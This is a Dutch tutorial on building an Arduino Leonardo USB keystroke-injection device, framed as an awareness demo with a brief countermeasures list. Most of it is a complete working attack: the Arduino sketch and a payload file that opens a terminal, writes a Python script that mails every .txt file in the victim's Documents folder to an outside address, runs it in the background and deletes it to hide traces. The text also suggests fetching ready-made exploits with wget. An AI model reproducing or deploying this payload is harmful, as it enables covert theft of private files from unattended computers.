Voorkomen van USB HID-aanvallen: Arduino Leonardo Toetsenbord-exploit Demo
Onderdelen en benodigdheden
| Onderdeel | Aantal |
|---|---|
| Arduino Leonardo | 1 |
| Micro SD-kaartlezer | 1 |
| SD-kaart (paar GB) | 1 |
| Drukknop 3-pins (met weerstand) | 1 |
| Draadbruggen (female-male & female-female) | 1 set |
| USB-A naar Micro-USB kabel | 1 |
Over dit project
In deze tutorial demonstreren we hoe een Arduino Leonardo kan worden misbruikt als USB HID-apparaat (Human Interface Device) om toetsaanslagen te simuleren en een aanval uit te voeren. Doel is bewustmaking over de risico's en bescherming, niet het faciliteren van misbruik.
We leren:
- Arduino Leonardo als toetsenbord emuleren
- Data lezen van een SD-kaart
- Een Python-script maken dat bestanden scant en per e-mail verstuurt
- Bescherming tegen USB-hacking apparaten
Stap 1: Materialen
- Arduino Leonardo
- Micro USB SD-kaartlezer
- SD-kaart (paar GB)
- Drukknop (VCC, GND, signaal)
- Jumper kabels
- Micro USB naar USB kabel
Stap 2: Het apparaat bouwen
Werkprincipe
De Arduino Leonardo kan zich voordoen als HID (muis/toetsenbord). We openen een terminal (op Ubuntu Linux) en typen een script dat tekstbestanden uit de Documents-map kopieert en per e-mail verstuurt.
Bouwinstructies
- Componenten aansluiten:
- Micro USB kabel in Arduino
- Drukknop aan Arduino: GND, VCC, signaal → D8
- SD-kaartlezer via ICSP-header (SS → pin 10). Zie SparkFun handleiding voor ICSP-pinout.
- Arduino code uploaden (zie code sectie). Selecteer 9600 baud, juiste poort en Arduino Leonardo.
- SD-kaart formatteren als FAT16 of FAT32.
- Bestand
hack.txtop SD-kaart plaatsen (inhoud zie code sectie). - E-mailgegevens aanpassen in het Python-script binnen
hack.txt:smtp_user = 'jouw_zender_email' smtp_pass = 'jouw_wachtwoord' to_address = 'ontvanger_email' - SD-kaart in de lezer stoppen.
Stap 3: Hoe de aanval werkt (detail)
Bij indrukken van de knop leest de Leonardo hack.txt van de SD-kaart. Het bestand bevat:
- Gewone tekst → wordt direct getypt
Sleep::200→ wacht 200 msCommand::KEY_LEFT_CTRL,KEY_LEFT_ALT,t→ toetscombinatie (Ctrl+Alt+T)
De reeks acties (voor Ubuntu):
- Terminal openen (Ctrl+Alt+T)
vi hack.pytypen- Python-script invoegen dat alle
.txtbestanden in~/Documentsverzamelt en mailt - Script opstarten op achtergrond (
nohup python hack.py &) - Script verwijderen (
rm -rf hack.py) - Terminal sluiten (Alt+F4)
Alles gebeurt in seconden zonder sporen.
Uitbreidingen en troubleshooting
- Script hosten en downloaden met
wgetin plaats van typen - Klaar exploits downloaden/uitvoeren
- WiFi toevoegen voor remote upload
- Arduino Micro gebruiken voor kleinere vormfactor
Beperkingen
- Geen feedback van gesimuleerde toetsenbord → wachttijden nodig
- Mogelijke rechtenproblemen (USB toegang, installatie)
- Type-snelheid beperkt
- Werkt alleen op doel-OS (hier Ubuntu)
Stap 4: Countermaatregelen
- USB-poorten uitschakelen (Windows: handleiding)
- Whitelisting van USB-apparaten (Windows: handleiding)
- Computer vergrendelen bij afwezigheid
- Niet als root/admin werken (wachtwoord vereisen voor installaties)
- Systeem up-to-date houden (automatische updates aan)
Code
Arduino sketch (keyboard_exploit.ino)
#include "Keyboard.h"
#include "SPI.h"
#include "SD.h"
String filenameOnCard = "hack.txt";
String sleepCommandStartingPoint = "Sleep::";
String commandStartingPoint = "Command::";
int delayBetweenCommands = 10;
const int buttonPin = 8;
const int chipSelect = 10;
int previousButtonState = HIGH;
void setup() {
pinMode(buttonPin, INPUT);
Serial.begin(9600);
Keyboard.begin();
if (!SD.begin(chipSelect)) {
Serial.println("Card failed, or not present!");
return;
}
}
void loop() {
int buttonState = digitalRead(buttonPin);
if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
sdFileToKeyboard();
Serial.println("Uploaded!");
delay(500);
}
previousButtonState = buttonState;
}
void sdFileToKeyboard() {
File dataFile = SD.open(filenameOnCard);
if (!dataFile) {
Serial.println("The specified filename is not present on SD card, check filenameOnCard!");
return;
}
String line;
while (dataFile.available()) {
line = dataFile.readStringUntil('\n');
Serial.println(line);
sendToKeyboard(line);
}
dataFile.close();
}
void sendToKeyboard(String line) {
String workingLine = line;
if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {
sleepFor(line);
return;
}
if (workingLine.indexOf(commandStartingPoint) == -1) {
Serial.print("Text:"); Serial.println(line);
Keyboard.println(line);
pressEnter();
return;
}
Serial.println("Command:");
int charPosition = commandStartingPoint.length();
workingLine += ",";
while (workingLine != "") {
workingLine = workingLine.substring(charPosition);
Serial.print("WorkingLine:"); Serial.println(workingLine);
int specialCommandDelimiterPosition = workingLine.indexOf(",");
String command = workingLine.substring(0, specialCommandDelimiterPosition);
charPosition = specialCommandDelimiterPosition + 1;
if (command != "") {
Serial.print("Command found:"); Serial.println(command);
Keyboard.press(getCommandCode(command));
delay(delayBetweenCommands);
}
}
Keyboard.releaseAll();
delay(delayBetweenCommands);
}
void pressEnter() {
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
}
void sleepFor(String line) {
int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();
Serial.print("Sleeping for:"); Serial.println(sleepAmount);
delay(sleepAmount);
}
char getCommandCode(String text) {
char textCharacters[2];
text.toCharArray(textCharacters, 2);
char code = textCharacters[0];
code = (text == "KEY_LEFT_CTRL") ? KEY_LEFT_CTRL : code;
code = (text == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT : code;
code = (text == "KEY_LEFT_ALT") ? KEY_LEFT_ALT : code;
code = (text == "KEY_UP_ARROW") ? KEY_UP_ARROW : code;
code = (text == "KEY_DOWN_ARROW") ? KEY_DOWN_ARROW : code;
code = (text == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW : code;
code = (text == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW : code;
code = (text == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI : code;
code = (text == "KEY_BACKSPACE") ? KEY_BACKSPACE : code;
code = (text == "KEY_TAB") ? KEY_TAB : code;
code = (text == "KEY_RETURN") ? KEY_RETURN : code;
code = (text == "KEY_ESC") ? KEY_ESC : code;
code = (text == "KEY_INSERT") ? KEY_INSERT : code;
code = (text == "KEY_DELETE") ? KEY_DELETE : code;
code = (text == "KEY_PAGE_UP") ? KEY_PAGE_UP : code;
code = (text == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN : code;
code = (text == "KEY_HOME") ? KEY_HOME : code;
code = (text == "KEY_END") ? KEY_END : code;
code = (text == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK : code;
code = (text == "KEY_F1") ? KEY_F1 : code;
code = (text == "KEY_F2") ? KEY_F2 : code;
code = (text == "KEY_F3") ? KEY_F3 : code;
code = (text == "KEY_F4") ? KEY_F4 : code;
code = (text == "KEY_F5") ? KEY_F5 : code;
code = (text == "KEY_F6") ? KEY_F6 : code;
code = (text == "KEY_F7") ? KEY_F7 : code;
code = (text == "KEY_F8") ? KEY_F8 : code;
code = (text == "KEY_F9") ? KEY_F9 : code;
code = (text == "KEY_F10") ? KEY_F10 : code;
code = (text == "KEY_F11") ? KEY_F1 : code; // Let op: originele code had KEY_F1
code = (text == "KEY_F12") ? KEY_F2 : code; // Let op: originele code had KEY_F2
return code;
}
Inhoud van hack.txt (op SD-kaart)
Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t
Sleep::500
vi hack.py
Sleep::300
Command::KEY_INSERT
import smtplib
import glob, os
from os.path import expanduser
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.Utils import COMMASPACE, formatdate
from email import Encoders
smtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password'
to_address = 'receiver_address'
scan_documents_location = 'Documents'
subject = body = 'Files from hacked computer'
header = 'To :{0}\nFrom : {1}\nSubject : {2}\n'.format(to_address, smtp_user, subject)
def sendMail(to, subject, text, files=[]):
msg = MIMEMultipart()
msg['From'] = smtp_user
msg['To'] = COMMASPACE.join(to)
msg['Date'] = formatdate(localtime=True)
msg['Subject'] = subject
msg.attach(MIMEText(text))
for file in files:
part = MIMEBase('application', "octet-stream")
part.set_payload(open(file,"rb").read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
msg.attach(part)
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(smtp_user, smtp_pass)
server.sendmail(smtp_user, to, msg.as_string())
server.quit()
sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))
Sleep::50
Command::KEY_ESC
Sleep::100
:x
Sleep::500
nohup python hack.py &
Sleep::700
rm -rf hack.py
Sleep::400
Command::KEY_LEFT_ALT,KEY_F4
Schema's
Bestanden: sketch.fzz, keyboard_exploit.ino, hack.txt, hack.py
GitHub repository: https://github.com/danionescu0/arduino (map projects/keyboard_exploit)
Productieproces
- Bouw Boeiende LCD Animaties & Games met Arduino UNO
- Een slimme voltmeter bouwen met Arduino en smartphone – Eenvoudig DIY-project
- Arduino temperatuur- en vochtigheidslogger met DHT11 en Ethernet Shield
- Verander je MIDI-toetsenbord in een slimme pianotutor met Arduino, LEDs en MuseScore
- Python 3 naar Arduino UNO: Eenvoudige Commando Besturing en LED Demo
- Bouw Real-Time Cellulaire Automaten op Arduino met 128x64 OLED Display
- Bouw een compacte FM-radio met Arduino Nano en RDA5807M
- Real-time RFID aanwezigheidssysteem met Arduino en Google Sheets
- Arduino 64-toets Prototoetsenbord Matrix – Bouw een Aangepast Toetsenbord met Shift Registers
- Arduino rekenmachine bouwen met 16x2 LCD en keypad
- IoT-integratie: Arduino Op afstand Besturen via Windows 10 UWP Apps